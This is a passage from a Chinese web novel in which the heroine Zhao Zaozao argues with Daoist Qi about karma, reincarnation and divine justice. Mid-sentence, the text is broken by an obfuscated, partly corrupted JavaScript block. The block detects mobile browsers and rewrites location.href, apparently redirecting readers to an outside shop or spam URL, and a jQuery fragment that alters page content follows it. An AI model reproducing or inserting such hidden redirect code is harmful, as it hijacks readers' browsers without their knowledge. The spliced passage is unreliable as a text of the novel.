“后来朝廷判定此乃妖邪祸世之兆将他抓捕,他又改口说是酒后胡言,最后还是被填进了通天十二陵。道长,你说当真有两世人吗?”
祁道长听她问完,不紧不慢道:“莫须有。忘川桥上孟婆日日施汤,轮回转世之时,或有遗漏,亦未可知。”
昭早早双手合十,做了一个请神勿怪的手势。
“非是我不敬神灵,而是我想不通,若当真有因果轮回,神明巡世,为何世间还有诸多灾祸苦厄。良人枉死,奸佞逍遥时怎不见神灵现身?”
祁道长反问她:“你又怎知神灵没有现身,指引、庇佑惩恶扬善之士?神灵授命于人,一如天子受命于天。”
这要是不拿天子举例还强点,提到那视苍生如草芥的老东西,昭早早更觉奉天承运这种说法扯得要命。
这种大不敬的话又不能宣之于口,她便换一种说法道:
“纵观史书,大奸大恶之徒福寿双全、安享晚年的屡不鲜见,这又作何解释?”
祁道长对答如流:“善恶终有报,近报自身,远报子孙。”
“太宗皇帝一朝,连年征伐不休,玄甲军统帅邬子阳灭真岚、昌必等十余小国,连其子民也不放过,造杀孽无数,却享寿八十有四。”
“邬家自此通达,时至今日依然是西北世家大族,未见祸及子孙。”
祁道长老神在在:“天道好轮回,不是不报,时候未到。”
昭早早拧眉道:“再兴盛他个几百年?”
祁道长答:“你只看罪人今生无恙,却不知他死后如何在十八层地狱遭受刑罚,永世不得超生。”
“说的极是。”昭早早点头,“我确实不知,所以该如何确定他在受罚?”
“要有信念。”祁道长笃定道,“信则有,不信则无。心诚则灵。”
“好的道长。”昭早早顺着他的话往下思考:
“若我坚信天道轮回不休,鬼神会奖惩世间一切是非善恶,那么这样一来,所有命数就自有天定,我只须安静地等着天命的安排就好。”
“既如此,这世间众人又何须刻苦求知求道,力争上游?倒不如随便混着等老天爷赏饭吃。”
她突然悟到:“这莫非就是清静无为,持守中道?”
“……”祁道长沉默片刻,端起茶杯,抿一口才道:“福主颇有慧根,要是想出家修行的话,得去坤道院,云天观不收女道
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16888448|192123||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
士。”
“其实我刚才也正想此节,要是人人都坚信此道,都清静无为、出家修行的话,由谁来供养修者?”
“如果大家各自养活自己,该种地的种地,该养蚕的养蚕,经商的打铁的,不一而足,那跟现世又有什么区别?”
“道法自然,本应如此,而人世间将不再有纷扰斗争。”
“可没有人成家生子,几十年人世间不就没了?”昭早早凝眉道,“众生普渡,下一世上哪投胎?全都位列仙班,天庭岂不人满为患?”
祁道长低头饮茶不说话,昭早早端量他一会,发现他仍旧没有开口的意思,